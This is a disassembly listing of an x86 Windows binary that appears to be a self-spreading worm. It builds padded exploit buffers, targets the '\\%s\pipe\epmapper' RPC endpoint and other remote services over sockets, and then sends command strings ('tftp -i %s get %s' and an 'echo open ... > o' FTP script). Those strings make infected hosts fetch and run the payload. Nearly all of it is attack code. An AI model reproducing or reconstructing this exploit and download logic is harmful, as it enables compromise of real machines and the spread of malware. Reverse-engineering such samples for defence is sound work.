lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_416BCD
mov edi, eax
add esp, 10h
test edi, edi
jz loc_402DD3
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_417390
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_417330
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_417390
add esp, 24h
lea esi, [edi+0D7h]
loc_402C09: ; CODE XREF: sub_402B84+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_402C59
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_417390
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_417330
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_417390
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_402C09
; ---------------------------------------------------------------------------
loc_402C59: ; CODE XREF: sub_402B84+90j
cmp [ebp+arg_C4], 0
jz short loc_402C74
cmp [ebp+arg_C0], 3
jz short loc_402C7D
cmp [ebp+arg_C0], 0
jmp short loc_402C7B
; ---------------------------------------------------------------------------
loc_402C74: ; CODE XREF: sub_402B84+DCj
cmp [ebp+arg_C0], 3
loc_402C7B: ; CODE XREF: sub_402B84+EEj
jnz short loc_402C86
loc_402C7D: ; CODE XREF: sub_402B84+E5j
push 4
push offset dword_427B60
jmp short loc_402C8D
; ---------------------------------------------------------------------------
loc_402C86: ; CODE XREF: sub_402B84:loc_402C7Bj
push 4
push offset dword_427B5C
loc_402C8D: ; CODE XREF: sub_402B84+100j
lea eax, [ebp+var_1FE0]
push eax
call sub_417390
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_427694
push eax
call sub_417390
push 10h
lea eax, [ebp+var_CA4]
push offset dword_4279F8
push eax
call sub_417390
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_417390
lea edi, [esi+370h]
push 3Ch
push offset off_427A0C
lea eax, [ebp+edi+var_1004]
push eax
call sub_417390
add edi, 3Ch
push 30h
push offset dword_427A4C
lea eax, [ebp+edi+var_1004]
push eax
call sub_417390
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_417B89
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_417330
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_417390
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_402DD3: ; CODE XREF: sub_402B84+3Ej
pop edi
pop esi
leave
retn
sub_402B84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402DD7 proc near ; CODE XREF: sub_407767+1EAp
; DATA XREF: ___:off_42ACB4o
var_1338 = byte ptr -1338h
var_338 = byte ptr -338h
var_138 = byte ptr -138h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
mov eax, 1338h
call sub_417B30
cmp [ebp+arg_A0], 1BDh
push ebx
push esi
push edi
jnz loc_402F45
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+arg_4]
push eax
call sub_4029E9
pop ecx
test eax, eax
pop ecx
jz loc_403055
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_138]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_4172B0
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp+var_138]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call near ptr 2630000h
nop
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_402E5C
loc_402E4D: ; CODE XREF: sub_402DD7+126j
lea eax, [ebp+arg_4]
push eax
call sub_402ACC
pop ecx
jmp loc_403055
; ---------------------------------------------------------------------------
loc_402E5C: ; CODE XREF: sub_402DD7+74j
lea eax, [ebp+arg_4]
push 2
push eax
call sub_40D4C5
pop ecx
lea esi, [ebp+arg_0]
pop ecx
push 1
push eax
lea eax, [ebp+var_10]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402B84
add esp, 0C8h
cmp eax, ebx
mov [ebp+var_8], eax
jz short loc_402EF4
mov edi, 186A0h
push edi
call sub_417B89
mov esi, eax
push edi
push ebx
push esi
call sub_417330
add esp, 10h
lea eax, [ebp+var_C]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_427648
push [ebp+var_4]
call near ptr 2620620h
nop
cmp byte ptr [esi+2], 0Ch
jnz short loc_402EE4
lea eax, [ebp+var_14]
push ebx
push eax
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
call near ptr 2620000h
nop
test eax, eax
jnz short loc_402F02
loc_402EE4: ; CODE XREF: sub_402DD7+F3j
push esi
call sub_417C3B
push [ebp+var_8]
call sub_417C3B
pop ecx
pop ecx
loc_402EF4: ; CODE XREF: sub_402DD7+B9j
push [ebp+var_4]
call near ptr 2611A31h
nop
jmp loc_402E4D
; ---------------------------------------------------------------------------
loc_402F02: ; CODE XREF: sub_402DD7+10Bj
lea eax, [ebp+var_C]
push ebx
push eax
push edi
push esi
push [ebp+var_4]
nop
call near ptr 2611183h
push [ebp+var_8]
mov edi, eax
call sub_417C3B
push esi
call sub_417C3B
pop ecx
pop ecx
push [ebp+var_4]
call near ptr 2611A31h
nop
lea eax, [ebp+arg_4]
push eax
call sub_402ACC
cmp edi, 1
pop ecx
jnz loc_403066
jmp loc_403055
; ---------------------------------------------------------------------------
loc_402F45: ; CODE XREF: sub_402DD7+1Aj
lea eax, [ebp+arg_4]
push 1
push eax
call sub_40D4C5
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_403055
xor ebx, ebx
push ebx
push 1
push 2
call dword_43F6E8
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_403055
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+arg_A0]
call dword_43F668
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_43F6A8
mov [ebp+var_20], eax
push ebx
lea eax, [ebp+var_C]
push esi
push eax
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402B84
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_402FD7
push [ebp+var_4]
jmp short loc_40304F
; ---------------------------------------------------------------------------
loc_402FD7: ; CODE XREF: sub_402DD7+1F9j
mov edi, [ebp+var_4]
lea eax, [ebp+var_24]
push 10h
push eax
push edi
call dword_43F610
cmp eax, 0FFFFFFFFh
jnz short loc_402FEF
loc_402FEC: ; CODE XREF: sub_402DD7+22Aj
push esi
jmp short loc_403048
; ---------------------------------------------------------------------------
loc_402FEF: ; CODE XREF: sub_402DD7+213j
push ebx
push 48h
push offset dword_427648
push edi
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jz short loc_402FEC
mov esi, 1000h
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_43F680
push ebx
push [ebp+var_C]
push [ebp+var_8]
push edi
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jnz short loc_403030
push [ebp+var_8]
jmp short loc_403048
; ---------------------------------------------------------------------------
loc_403030: ; CODE XREF: sub_402DD7+252j
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_43F680
push [ebp+var_8]
cmp eax, 0FFFFFFFFh
jnz short loc_403059
loc_403048: ; CODE XREF: sub_402DD7+216j
; sub_402DD7+257j
; DATA XREF: ...
call sub_417C3B
pop ecx
push edi
loc_40304F: ; CODE XREF: sub_402DD7+1FEj
call dword_43F700
loc_403055: ; CODE XREF: sub_402DD7+31j
; sub_402DD7+80j ...
xor eax, eax
jmp short loc_4030C7
; ---------------------------------------------------------------------------
loc_403059: ; CODE XREF: sub_402DD7+26Fj
call sub_417C3B
pop ecx
push edi
call dword_43F700
loc_403066: ; CODE XREF: sub_402DD7+163j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_338]
push offset unk_427B78
push eax
call sub_4172B0
add esp, 0Ch
loc_40307E: ; CODE XREF: sub_402DD7+2C7j
lea eax, [ebp+var_338]
push eax
call sub_40C04D
test eax, eax
pop ecx
jnz short loc_4030A2
push 1388h
call near ptr 25F0439h
nop
inc ebx
cmp ebx, 6
jl short loc_40307E
jmp short loc_4030C4
; ---------------------------------------------------------------------------
loc_4030A2: ; CODE XREF: sub_402DD7+2B6j
lea eax, [ebp+var_338]
push eax
call sub_40BF6D
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
inc dword_42ACB8[eax]
lea eax, dword_42ACB8[eax]
loc_4030C4: ; CODE XREF: sub_402DD7+2C9j
push 1
pop eax
loc_4030C7: ; CODE XREF: sub_402DD7+280j
pop edi
pop esi
pop ebx
leave
retn
sub_402DD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4030CC proc near ; DATA XREF: ___:00426004o
jmp $+5
sub_4030CC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4030D1 proc near
push 0BB80h
push 76Ch
call sub_415450
pop ecx
mov dword_43C810, eax
pop ecx
retn
sub_4030D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030E8 proc near ; CODE XREF: sub_403249+42Ap
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_43F6A8
mov [ebp+var_C], eax
mov ax, word ptr dword_43C810
push eax
call dword_43F668
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_43F6E8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403222
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43F610
cmp eax, 0FFFFFFFFh
jz loc_403222
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43F680
mov esi, offset byte_42F674
push esi
push esi
push [ebp+arg_0]
call sub_40AEE0
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41782A
add esp, 18h
push esi
push esi
push dword_43C83C
push [ebp+arg_0]
call sub_40AEE0
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41782A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jz short loc_403222
push 1F4h
call near ptr 25F0439h
nop
push esi
push offset dword_428598
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jnz short loc_403226
loc_403222: ; CODE XREF: sub_4030E8+51j
; sub_4030E8+67j ...
xor al, al
jmp short loc_403244
; ---------------------------------------------------------------------------
loc_403226: ; CODE XREF: sub_4030E8+138j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43F680
push ebx
call dword_43F700
mov al, 1
loc_403244: ; CODE XREF: sub_4030E8+13Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4030E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403249 proc near ; CODE XREF: ___:004037ADp
; ___:004037CFp
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_417B30
mov eax, dword_428634
push ebx
mov [ebp+var_10], eax
mov eax, dword_428638
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset loc_428628
push eax
call sub_4172B0
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_403288: ; CODE XREF: sub_403249+4Ej
mov cl, [ebp+esi+var_3C]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_403288
push 60h
lea eax, [ebp+var_B4]
push offset dword_4280B8
push eax
call sub_417390
lea eax, [ebp+var_3C]
push eax
call sub_417AB0
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_417390
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC+3)
push eax
call sub_417AB0
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_417390
lea eax, [ebp+var_3C]
push eax
call sub_417AB0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_417390
lea eax, [ebp+var_3C]
push eax
call sub_417AB0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_417390
mov ax, word ptr dword_43C810
add esp, 2Ch
push eax
call dword_43F668
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_427DB8
call sub_417390
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_403445
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_417330
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_4284E0[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_417390
mov esi, offset loc_427D08
push esi
call sub_417AB0
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_417390
push 4
lea eax, [ebp+var_11AC]
push offset loc_428620
push eax
call sub_417390
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_417390
add esp, 40h
push esi
call sub_417AB0
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_417390
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_4033FE: ; CODE XREF: sub_403249+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_4033FE
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_417330
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_417330
add esp, 18h
jmp short loc_40349C
; ---------------------------------------------------------------------------
loc_403445: ; CODE XREF: sub_403249+118j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_417330
mov esi, offset loc_427D08
push esi
call sub_417AB0
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_417390
lea eax, [ebp+var_10]
push eax
call sub_417AB0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_417390
mov eax, dword_4284E0
add esp, 2Ch
mov [ebp+var_768], eax
loc_40349C: ; CODE XREF: sub_403249+1FAj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_417330
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jnz short loc_4034DB
loc_4034D4: ; CODE XREF: sub_403249+2B9j
; sub_403249+2E0j ...
xor al, al
jmp loc_403683
; ---------------------------------------------------------------------------
loc_4034DB: ; CODE XREF: sub_403249+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43F680
push ebx
push 68h
push offset dword_42811C
push edi
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jz short loc_4034D4
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43F680
push ebx
push 0A0h
push offset dword_428188
push edi
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jz short loc_4034D4
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43F680
cmp [ebp+arg_C0], ebx
jz loc_4035F1
push 68h
lea eax, [ebp+var_89B4]
push offset dword_428340
push eax
call sub_417390
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_417390
push 70h
lea eax, [ebp+var_68DC]
push offset dword_4283AC
push eax
call sub_417390
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_417390
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_428420
push eax
call sub_417390
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jz loc_4034D4
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43F680
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_403647
; ---------------------------------------------------------------------------
loc_4035F1: ; CODE XREF: sub_403249+2F8j
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_42822C
push eax
call sub_417390
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_417390
push 90h
lea eax, [ebp+var_245C]
push offset off_4282AC
push eax
call sub_417390
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_403647: ; CODE XREF: sub_403249+3A6j
push eax
push edi
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jz loc_4034D4
push 12Ch
nop
call near ptr 25F0439h
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4030E8
add esp, 0BCh
test al, al
setnz al
loc_403683: ; CODE XREF: sub_403249+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_403249 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
push 0BB80h
push 76Ch
call sub_415450
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call sub_417330
add esp, 14h
lea eax, [ebp+0Ch]
mov word ptr [ebp-14h], 2
push eax
call dword_43F6A8
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call dword_43F668
push 6
push 1
push 2
mov [ebp-12h], ax
call dword_43F6E8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403790
lea eax, [ebp-14h]
push 10h
push eax
push ebx
call dword_43F610
cmp eax, 0FFFFFFFFh
jz loc_403790
push edi
push 89h
push offset dword_427EA0
push ebx
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jz short loc_403790
mov esi, 640h
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call dword_43F680
push edi
push 0A8h
push offset dword_427F2C
push ebx
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jz short loc_403790
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call dword_43F680
push edi
push 0DEh
push offset dword_427FD8
push ebx
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jz short loc_403790
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call dword_43F680
movsx eax, byte ptr [ebp-610h]
sub eax, 30h
jz short loc_40379A
dec eax
jz short loc_403797
loc_403790: ; CODE XREF: ___:004036EBj
; ___:00403701j ...
xor eax, eax
jmp loc_403817
; ---------------------------------------------------------------------------
loc_403797: ; CODE XREF: ___:0040378Ej
push edi
jmp short loc_4037BE
; ---------------------------------------------------------------------------
loc_40379A: ; CODE XREF: ___:0040378Bj
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403249
add esp, 0C4h
test al, al
jnz short loc_4037DE
push 1
loc_4037BE: ; CODE XREF: ___:00403798j
push ebx
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403249
add esp, 0C4h
test al, al
jz short loc_4037E5
loc_4037DE: ; CODE XREF: ___:004037BAj
mov dword ptr [ebp-4], 1
loc_4037E5: ; CODE XREF: ___:004037DCj
push ebx
call dword_43F700
cmp dword ptr [ebp-4], 0
jz short loc_403814
lea eax, [ebp-854h]
push eax
call sub_40BF6D
mov eax, [ebp+0B0h]
pop ecx
imul eax, 3Ch
inc dword_42ACB8[eax]
lea eax, dword_42ACB8[eax]
loc_403814: ; CODE XREF: ___:004037F0j
push 1
pop eax
loc_403817: ; CODE XREF: ___:00403792j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40381C proc near ; CODE XREF: sub_403A90+Ep
; sub_403A90+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40381C endp
; =============== S U B R O U T I N E =======================================
sub_403826 proc near ; CODE XREF: sub_403A90+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_417B89
mov edi, eax
pop ecx
test edi, edi
jz short loc_403858
push ebx
push 0
push edi
call sub_417330
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_417390
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_403858: ; CODE XREF: sub_403826+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_403826 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403860 proc near ; CODE XREF: sub_40395A+18p
; sub_4039D4+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_417B89
mov esi, eax
pop ecx
test esi, esi
jz short loc_4038AC
push edi
push 0
push esi
call sub_417330
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_417390
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_417390
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_4038AC: ; CODE XREF: sub_403860+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_403860 endp
; =============== S U B R O U T I N E =======================================
sub_4038B5 proc near ; CODE XREF: sub_40395A+5Ep
; sub_40395A+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4038C5
push eax
call sub_417C3B
pop ecx
loc_4038C5: ; CODE XREF: sub_4038B5+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_4038B5 endp
; =============== S U B R O U T I N E =======================================
sub_4038CE proc near ; CODE XREF: sub_40395A+20p
; sub_403A35+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_4038FB
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_417B89
mov edi, eax
pop ecx
test edi, edi
jnz short loc_4038FF
loc_4038FB: ; CODE XREF: sub_4038CE+Dj
xor al, al
jmp short loc_403956
; ---------------------------------------------------------------------------
loc_4038FF: ; CODE XREF: sub_4038CE+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_417330
add esp, 0Ch
cmp ebx, 1
jnz short loc_403924
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40393E
; ---------------------------------------------------------------------------
loc_403924: ; CODE XREF: sub_4038CE+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_40393E: ; CODE XREF: sub_4038CE+54j
push eax
call sub_417390
add esp, 0Ch
push dword ptr [esi]
call sub_417C3B
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_403956: ; CODE XREF: sub_4038CE+2Fj
pop edi
pop esi
pop ebx
retn
sub_4038CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40395A proc near ; CODE XREF: sub_403A90+89p
; sub_403A90+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_43C824
call sub_403860
lea ecx, [ebp+var_8]
call sub_4038CE
mov eax, [ebp+var_4]
inc eax
push eax
call sub_417B89
mov edi, eax
pop ecx
test edi, edi
jnz short loc_403994
xor al, al
jmp short loc_4039D0
; ---------------------------------------------------------------------------
loc_403994: ; CODE XREF: sub_40395A+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_417330
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_417390
add esp, 18h
mov ecx, esi
call sub_4038B5
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_4038B5
mov al, 1
loc_4039D0: ; CODE XREF: sub_40395A+38j
pop edi
pop esi
leave
retn
sub_40395A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4039D4 proc near ; CODE XREF: sub_403A08+14p
; sub_403A25+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_403860
mov ecx, esi
call sub_4038B5
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_4039D4 endp
; =============== S U B R O U T I N E =======================================
sub_403A08 proc near ; CODE XREF: sub_403A90+F0p
; sub_403A90+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_417AB0
pop ecx
push eax
mov ecx, esi
